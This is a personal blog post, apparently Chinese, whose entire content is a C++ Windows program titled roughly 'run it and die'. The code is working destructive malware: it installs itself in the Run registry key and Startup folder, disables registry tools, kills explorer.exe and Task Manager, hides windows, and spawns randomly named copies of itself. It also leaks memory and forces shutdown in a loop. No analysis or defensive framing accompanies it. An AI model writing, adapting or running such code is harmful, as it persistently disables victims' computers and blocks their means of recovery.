跳到正文

个人记录

运行就逝逝

Kael_thas约 7 分钟
原文
文章信息与版本

文章信息

发布
2025年2月13日
收录
2026年5月24日
更新
2026年10月28日
篇幅
约 7 分钟

版本

  1. v1当前
C++
#include <bits/stdc++.h>
#include <windows.h>
#include <Shlobj.h>
#include <filesystem>
using namespace std;
namespace fs = std::filesystem;
int n, m;
string KEYWOD[26] = {"Q", "W", "E", "R", "T", "Y", "U", "I", "O", "P", "A", "S", "D", "F", "G", "H", "J", "K", "L", "Z", "X", "C", "V", "B", "N", "M"};
inline void work(string a_a) {
	const char *S_k = a_a.data();
	system(S_k);
}
BOOL AutoRun_Startup(char *lpszSrcFilePath, char *lpszDestFileName) {
	char szStartupPath[MAX_PATH] = { 0 };
	char szDestFilePath[MAX_PATH] = { 0 };
	SHGetSpecialFolderPath(NULL, szStartupPath, CSIDL_STARTUP, TRUE);
	wsprintf(szDestFilePath, "%s\\%s", szStartupPath, lpszDestFileName);
	CopyFile(lpszSrcFilePath, szDestFilePath, FALSE);
	return TRUE;
}
void setAutoStart(string appPath, string appName) {
	HKEY hKey;
	if (RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {
		RegSetValueEx(hKey, appName.c_str(), 0, REG_SZ, (BYTE*)appPath.c_str(), appPath.size() + 1);
		RegCloseKey(hKey);
	}
}
int main(int argc, char *argv[]) {
	HKEY hkey;
	fs::path file_path = __FILE__;
	string appPath = file_path.string();
	string appName = argv[0];
	setAutoStart(appPath, appName);
	char apppath[1000], appname[1000];
	copy(appPath.begin(), appPath.end(), apppath);
	copy(appName.begin(), appName.end(), appname);
	AutoRun_Startup(apppath, appname);
	HWND hWnd = GetForegroundWindow();
	ShowWindow(hWnd, SW_HIDE);
	system("shutdown -s -t 15");
	
	DWORD value = 1;
	RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
	RegSetValueEx(hkey, "DisableRegistryTools", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
	RegCloseKey(hkey);
	RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
	RegSetValueEx(hkey, "Wallpaper", NULL, REG_SZ, (unsigned char *)"c://", 3);
	RegSetValueEx(hkey, "WallpaperStyle", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
	string bb(appName, 1 + appName.find_last_of(92));
	srand(time(NULL));
	int hsh = rand();
	for (int i = 0; i < bb.size(); i++) {
		SetCursorPos(rand() % 1000, rand() % 1000);
		HWND hWnd = GetForegroundWindow();
		ShowWindow(hWnd, SW_HIDE);
		hsh = (hsh << 4) ^ (hsh << 7) ^ ((int)bb[i]) + 102923 + rand();
	}
	srand(hsh);
	string gto = "";
	int len = 15;
	for (int i = 0; i < len; i++) {
		SetCursorPos(rand() % 1000, rand() % 1000);
		HWND hWnd = GetForegroundWindow();
		ShowWindow(hWnd, SW_HIDE);
		gto += KEYWOD[rand() % 26];
	}
	gto += ".exe";
	work("copy " + bb + " " + gto);
	work("start " + gto);
	gto = "";
	len = 16;
	for (int i = 0; i < len; i++) {
		SetCursorPos(rand() % 1000, rand() % 1000);
		gto += KEYWOD[rand() % 26];
	}
	gto += ".exe";
	work("copy " + bb + " " + gto);
	work("start " + gto);
	system("taskkill -f -t -im explorer.exe");
	system("taskkill -f -t -im taskmgr.exe");
	unsigned op = 1;
	while (op++ && op <= 10048576) {
		Beep(1000, 100);
		SetCursorPos(rand() % 1000, rand() % 1000);
		void *ptr = malloc(4096);
		for (unsigned j = 0; j < 256; j++)
			memset(ptr, j, 4096);
		HWND hWnd = GetForegroundWindow();
		ShowWindow(hWnd, SW_HIDE);
		work("start " + gto);
		fs::path exePath = fs::current_path() / fs::path(argv[0]);
		system((exePath.string() + " &").c_str());
		system("shutdown /p");
	}
	return 0;
}
原文